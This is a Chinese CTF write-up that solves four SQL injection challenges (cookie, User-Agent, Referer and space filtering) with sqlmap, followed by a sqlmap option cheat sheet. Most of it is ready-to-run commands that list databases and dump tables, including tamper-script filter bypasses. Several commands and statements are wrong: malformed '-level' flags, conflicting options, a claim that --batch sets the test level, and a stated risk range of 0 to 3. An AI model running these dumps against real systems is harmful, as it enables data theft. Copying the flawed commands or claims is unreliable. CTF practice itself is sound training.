sql注入 (运用sqlmap解题)

注:level参数

使用--batch参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用--level来提高测试等级。

--level 参数决定了 sqlmap 在检测 SQL 注入时的 "努力程度"。

  • level 1默认的 level 等级,会测试 GET 和 POST 请求中的参数。
  • level 2:除了前面提到的,还会检查 cookie 里的数据。
  • level 3:user-agent 和 referer 头部也纳入检测范围。
  • level 4~5:会尝试各种 payloads 和边界条件,确保不放过任何潜在的注入点。

1.cookie注入

1)进入题目环境,然后页面显示是cookie注入,那应该跟cookie头有关了

2)用BP抓包,

3)然后把抓到的信息存成txt文件

4)然后用sqlmap查看是否有sql注入

sqlmap -r "文件地址"

5)从扫描结果可以看出这里它是使用了cookie注入

然后我们查看一下它的数据库

sqlmap -r '文件地址' --dbs

6)查到它有四个库,一次查看后有用数据在sqli里

查看它里面表的数据,sqlmap -r '文件地址' -D sqli --tables --batch

7)然后再查看表里的字段信息

sqlmap -r '文件地址' -D sqli -T ydinnlywvm --dump --batch

然后便能找到flag

2.UA注入

1)进入题目环境,页面显示注入类型为UA注入

2)跟跟上面的cookie注入类似,先用BP抓包,然后将它保存

3)接着用sqlmap测试注入类型及注入点

复制代码
sqlmap -u "网址" -level 3 --dbs

4)扫出它的数据库,然后依次查看里面的内容,依然是在sqli表里

查看里面的数据

复制代码
sqlmap -u "网址" level 3 -D sqli --tables --dbs

5)找到表里有两个字段,查看第一个

复制代码
sqlmap -u "网址" -level 3 -D sqli -T irdofixdml --dump --batch

然后找到flag

3.Refer注入

1)进入题目环境

2)说是refer注入,那肯定跟refer头有关了,sqlmap扫描应该是要用到level 3 将refer头纳入检测范围了

sqlmap -u "网址" -level 3 --dbs

3)扫出数据库,然后查表,查到在sqli里面

sqlmap -u "网址" -D sqli --tables --batch

4)然后扫描字段数据

sqlmap -u "网址" -D sqli -T uggursvczx --dump --batch

4.过滤空格

1)进入环境,说是空格被过滤

2)用sqlmap扫描时需要用到sqlmap的脚本

space2comment.py 用"/**/"替换空格符

注入命令

复制代码
sqlmap -u '网址'--current-db --tamper=space2comment.py

3)扫出sqli,然后看表里内容,得到flag

复制代码
sqlmap -u "网址" -D sqli --dump --tamper=space2comment.py --batch --tamper=space2plus.py

5.小结

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

常见需要注意的一些命令

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

相关推荐
悟能不能悟1 分钟前
关于 javax.validation.constraints的详细说明
数据库·mysql
.生产的驴24 分钟前
Docker 部署Nexus仓库 搭建Maven私服仓库 公司内部仓库
java·运维·数据库·spring·docker·容器·maven
知行0226 分钟前
MySQL的Docker版本,部署在ubantu系统
数据库·mysql·docker
朝新_36 分钟前
【MySQL】第三弹——表的CRUD进阶(一)数据库约束
数据库·mysql
为美好的生活献上中指1 小时前
java每日精进 5.11【WebSocket】
java·javascript·css·网络·sql·websocket·网络协议
qq_14182697321 小时前
python通过curl访问deepseek的API调用案例
java·数据库·python
可喜~可乐2 小时前
C# SQLite高级功能示例
数据库·sql·sqlite·c#
cooldream20092 小时前
深入理解主从数据库架构与主从复制
数据库·oracle·数据库架构·系统架构师
Eternity......2 小时前
spark MySQL数据库配置
数据库·mysql·spark
Freedom℡2 小时前
使用scp命令拷贝hadoop100中文件到其他虚拟机中
数据库·hadoop·spark